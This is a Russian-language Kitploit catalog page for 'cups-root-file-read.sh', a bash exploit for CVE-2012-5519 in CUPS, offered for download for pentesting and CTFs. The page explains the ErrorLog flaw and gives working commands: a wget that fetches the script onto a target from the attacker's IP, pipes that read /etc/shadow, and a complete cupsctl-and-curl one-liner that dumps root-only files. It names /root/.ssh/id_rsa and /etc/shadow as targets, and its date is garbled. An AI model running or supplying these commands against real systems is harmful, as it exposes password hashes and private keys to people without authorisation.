Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2012-5519 — cups-root-file-read.sh | CVE-2012-5519 | Kitploit
Инструменты/GitHubGitHub/p1ckzi/cve-2012-5519
Privilege EscalationVulnerability AnalysisExploitationInformation GatheringCTFPenetration Testing
GitHubp1ckzi/cve-2012-5519

CVE-2012-5519

cups-root-file-read.sh | CVE-2012-5519

Репозиторий
914 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

cups-root-file-read.sh ⭐

bash-реализация модуля metasploit 'cups_root_file_read.rb', предназначенная для пентеста и CTF.
в основном это небольшое упражнение в написании bash-скриптов. предназначена как самодостаточная программа, эксплуатирующая CVE-2012-5519 на системах Linux;
она предоставляет пользователю интерактивный промпт, позволяя быстро читать несколько ограниченных файлов.

эксплойт - CVE-2012-5519 ❗

этот скрипт эксплуатирует уязвимость в CUPS (Common UNIX Printing System) версии < 1.6.2.
CUPS позволяет пользователям из группы lpadmin вносить изменения в файл cupsd.conf с помощью команды cupsctl.
эта команда также позволяет пользователю указать путь ErrorLog.
когда пользователь посещает страницу '/admin/log/error_log', демон cupsd, работающий с SUID root, читает путь ErrorLog и выводит его в виде обычного текста.
короче говоря, файлы, принадлежащие пользователю root, можно прочитать, если направить туда путь ErrorLog.

предварительные требования ✔

скрипт выполняет ряд проверок перед передачей промпта пользователю; однако все предварительные требования включают:

  • linux - скрипт тестировался только на Linux и может не работать на других операционных системах.
  • bash - cups-root-file-read.sh написан на bash.
  • curl - (проверяется внутри скрипта) используется для запроса веб-страницы. в настоящее время в скрипте нет альтернативных команд для парсинга HTTP, таких как wget или nc, из-за ограничений по времени.
  • уязвимость - (проверяется внутри скрипта) выполняется несколько проверок, чтобы убедиться, что уязвимость существует и что текущий пользователь может её эксплуатировать, а следовательно, использовать скрипт эксплойта. они включают членство в группе 'lpadmin', доступность команды cupsctl и т.д...

использование ℹ

предполагается, что скрипт будет использоваться для целей пентеста и CTF-мероприятий. поместите скрипт на целевую машину. это можно сделать различными способами. один из распространённых методов с целевой машины:

root@kitploit:~
wget http://[мой ip]:[мой порт]/cups-root-file-read.sh

cups-root-file-read.sh не требует аргументов или флагов, но имеет два опциональных:

root@kitploit:~
./cups-root-file-read.sh -h

./cups-root-file-read.sh не требует аргументов для запуска.
в настоящее время он только интерактивный.
использование: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
        -a, --accessible: отключает функции, которые могут отрицательно повлиять на
        программы чтения с экрана.
        -h, --help: выводит это диалоговое сообщение.
после прохождения всех необходимых проверок для эксплойта,
пользователю будет предложено ввести данные.
введите полный путь к файлу для его чтения.
например:
        1. /root/.ssh/id_rsa
        2. /root/.bash_history
        3. /etc/shadow и т.д...

запуск:

root@kitploit:~
bash cups-root-file-read.sh

или

root@kitploit:~
chmod +x cups-root-file-read.sh

./cups-root-file-read.sh

или если вы хотите прочитать только один файл:

root@kitploit:~
echo '/etc/shadow' | ./cups-root-file-read.sh

после прохождения начальных проверок функциональности и уязвимости пользователю предоставляется промпт, позволяющий ввести абсолютный путь к существующему файлу. содержимое каждого файла будет выведено в терминал.

наилучшее использование:

хотя скрипт можно использовать для проверки ограниченных файлов и их чтения, он более полезен, если пользователь уже знает о существовании ограниченных файлов, которые он хочет просмотреть. например:

  • /root/.ssh/id_rsa
  • /root/.bash_history
  • /etc/shadow
  • /etc/sudoers ... и т.д.

ограничения ⚠

у скрипта и эксплойта есть несколько ограничений. и насколько мне известно, модуль 'cups_root_file_read.rb' для metasploit также страдает от тех же ограничений.

пробелы:

ввод пользователя должен быть абсолютным путём к существующему файлу, который пользователь хочет просмотреть, и не должен содержать пробелов нигде в файле или пути. это связано с тем, что команда cupsctl не может корректно обрабатывать пробелы, даже с кавычками (например, ErrorLog='/path to/file.txt') и разделит ввод по пробелам на отдельные директивы с булевым значением 'true'.
предыдущий пример, если его отправить, будет записан в файл cupsd.conf как:

root@kitploit:~
ErrorLog=/path
to/file.txt=true

это вызывает ошибки, которые записываются в журнал ошибок, который может быть важным файлом, если он был указан в пути ErrorLog в предыдущей успешной попытке прочитать файл. Поэтому скрипт проверяет наличие пробелов и отфильтровывает их.


возврат кодов состояния 404:

несмотря на проверки, чтобы убедиться, что пользователь отправляет нечто, похожее на абсолютный путь и файл, не все ошибки можно перехватить до того, как они будут переданы серверу с помощью команды cupsctl:
файлы, существующие в корневом каталоге, можно прочитать (например, '/file.txt'), но также могут быть отправлены обычные каталоги unix, такие как '/tmp' и '/root' (намеренно или по ошибке пользователя). нет перехвата таких системных каталогов, и они вернут коды состояния 404 от сервера. пользователь информируется об этом.
несуществующие каталоги, указанные в пути (например, '/tmp/non-existent-directory/file.txt'), также приведут к возврату сервером кода состояния 404.


пустые файлы:

попытка просмотреть несуществующие файлы (например, '/root/non-existent-file.txt') приведёт к их созданию в качестве нового журнала ошибок. пользователь информируется об этом в выводе и о том, что пустой файл мог быть создан скриптом эксплойта, если его не было там раньше. всегда существует вероятность, что эти пустые файлы могли быть созданы системным пользователем для каких-либо целей примерно в то же время, когда был запущен скрипт, поэтому они не удаляются.

хотя в linux есть команды для проверки существования файла или каталога, эта функция не была реализована в скрипте до передачи пользовательского ввода команде cupsctl, поскольку команды проверки не работают, если файл или каталог находится в месте, недоступном текущему пользователю (например, '/root') по очевидным причинам безопасности. поскольку скрипт предназначен для чтения таких недоступных файлов, такая функция была бы бессмысленной.


ошибки cups:

иногда могут возникать ошибки cupsctl при внесении изменений, как вручную, так и через cups-root-file-read.sh. в то время как cups-root-file-read.sh обрабатывает нестандартный ввод пользователя и некоторые ошибки, эти ошибки cupsctl, возникающие при внесении изменений в файл cupsd.conf или при запросе веб-страницы, не обрабатываются. cups-root-file-read.sh просто завершится. в этих случаях скрипт можно запустить снова и предпринять ещё одну попытку.


заметки 📝

скрипт в основном был упражнением в создании короткой, всеобъемлющей, самодостаточной программы для одного эксплойта с учётом читаемости и доступности.

скрипт предназначен для проверки наличия CVE-2012-5519 и последующего быстрого и лёгкого чтения нескольких ограниченных файлов во время эксплуатации. для этой цели, я считаю, он значительно быстрее, чем модуль metasploit и ручной ввод команды с многократным редактированием (надеюсь). но, тем не менее, если пользователь знает, что целевая машина уязвима, того же результата можно достичь с помощью чего-то вроде:

root@kitploit:~
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

на 2022 год этому эксплойту 10 лет. если целевая машина тоже старая, возможно, что версии различных команд, используемых в скрипте, не имеют той функциональности, которая у них есть сейчас. это может также относиться и к версии bash. к сожалению, у меня были ограничения по времени, и я не смог протестировать скрипт в более широком диапазоне сред. он может быть более полезен для CTF.

изначально скрипт предполагалось создать на python3, но я сталкивался с ситуациями, когда python2 и python3 были недоступны пользователю после получения доступа к системе как непривилегированный пользователь. bash почти всегда доступен в системе Linux, как и обычные команды Linux, поэтому реализация на bash показалась более безопасным вариантом.

встроенные команды bash используются насколько это возможно, однако скрипт полагается на некоторые внешние команды, такие как sort, head и curl (и, конечно, cupsctl, используемый как часть эксплойта). в настоящее время проверок на эти команды нет, и нет альтернативы из-за временных ограничений. скрипт завершится ошибкой, если эти команды недоступны :(

благодарности 👍

https://argbash.io - за помощь с начальными аргументами скрипта.
https://skerritt.blog/a11y/ - реализация доступности.

Скачать инструмент